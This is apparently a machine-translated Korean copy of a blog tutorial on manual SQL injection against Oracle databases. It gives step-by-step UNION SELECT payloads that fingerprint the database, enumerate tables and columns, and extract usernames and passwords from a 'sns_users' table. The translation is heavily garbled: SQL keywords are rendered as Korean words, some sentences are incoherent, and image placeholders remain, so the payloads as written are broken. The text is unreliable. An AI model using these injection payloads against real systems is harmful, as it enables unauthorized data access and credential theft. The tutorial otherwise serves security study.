튜토리얼 연구 노트 (A) : 10, Oracle 데이터베이스 주입

어느 연구 갱은, 모든 사람들이 슬래그를 배우는 사람보다 가장 형편이 사회가, 그들이 교훈을 이해하지 못하지 일을, 클래스를 반드시 수행, 시험에 대한 불안, 문제 훈련을하지만,하지 않는 현상 유지와 좌절, 3 분 동안 가열하고, 비난에 자신을 증오, 심지어 군중에 묻혀 가장 일반적인 ID에 따라, 그들은 고통의 대부분의 일을하고 있습니다. . . .

A, Oracle 데이터베이스

일반적으로 대기업 물류, 관광, 항공, 은행 등에 사용됩니다. . .

1, 대형 트랜잭션 볼륨을 처리하는 여러 사용자를 지원합니다

2, 데이터 보안 및 무결성 효과적인 통제

분산 데이터 처리 3, 지원

4 강한 이식

둘째, 수동 주입

1, 그것은 여부가 판단

1 = 1은 정상화

1 = 2 리턴 에러
그림 삽입 설명 여기

2, 결정하기 위해 오라클 데이터베이스 여부

및 (이중에서 선택 *)를 존재

및 (USER_TABLES에서 선택 *)를 존재

일반적인 설명으로 돌아 가기는 오라클입니다

3 열의 수를 판정한다

(2)에 의한 순서를 나타내는 두, 정상화

4, 공동 질문

노동 조합을 선택 널 (null), 이중에서 널 (null), 숫자 및 각 널 (null) 문자로 교체 한 후, 널 (null)로 대체하는 1, 2, 요구가 쓸 수, 숫자 오류에 발견, 문자가 제공되지 않는

노조 이중에서 1, 널 (null)을 선택 报错

이중에서 노동 조합을 선택 널 (null), 1 报错

노조는 이중 반환에서 '널 (null)', '널'이 인터페이스를 선택한 후 다음과 같은 쿼리를 사용할 수 있습니다

5, 데이터베이스 버전에 대한 액세스

(SYS.V_ $ 버전에서 배너를 선택합니다 어디 ROWNUM = 1)
그림 삽입 설명 여기

6, 데이터베이스에 현재 사용자의 연결을 얻었다

(SYS_CONTEXT를 선택 ( 'USERENV', 이중에서 'CURRENT_USER'))

그림 삽입 설명 여기
데이터베이스에 7 액세스

(브이 $ 인스턴스에서 INSTANCE_NAME 선택) 현재 데이터베이스를 얻을 수
그림 삽입 설명 여기

제베이스를 얻었다 (ROWNUM = 1 ALL_TABLES에서 선택 소유자)
그림 삽입 설명 여기

(ALL_TABLES에서 선택 오너 여기서 ROWNUM = 1 소유자 <> 'SYS') 제베이스를 취득

8 테이블 이름을 얻었다

(USER_TABLES에서 선택 TABLE_NAME 여기서 ROWNUM = 1 '% 사용자 %'등 TABLE_NAME) 이중에서
그림 삽입 설명 여기

10 열 이름에 대한 액세스

(USER_TAB_COLUMNS에서 COLUMN_NAME을 선택 여기서 TABLE_NAME = 'sns_users'및 ROWNUM = 1)

그림 삽입 설명 여기

두번째 컬럼 이름을 취득 11

(USER_TAB_COLUMNS에서 선택 COLUMN_NAME는이 테이블 _ = 어디 sns_users '및 ROWNUM = 1 COLUMN_NAME <>'USER_NAME ')

필드의 내용 (12)는, 액세스

=. 1. 1, 2 ID SELECT USER_NAME 연합은 user_pwd "sns_users"에서
그림 삽입 설명 여기
연합 SELECT USER_NAME 상기 user_pwd에서 "sns_users"WHERE USER_NAME <> '후'는 제 2 사용자 정보를 취득

불법 위험의 금지
환영 대중의 관심 번호 : 웹 보안 도구 라이브러리
그림 삽입 설명 여기

게시 된 114 개 원래 기사 · 원 찬양 5 ·은 10000 +를 볼

추천

출처blog.csdn.net/weixin_41489908/article/details/104434998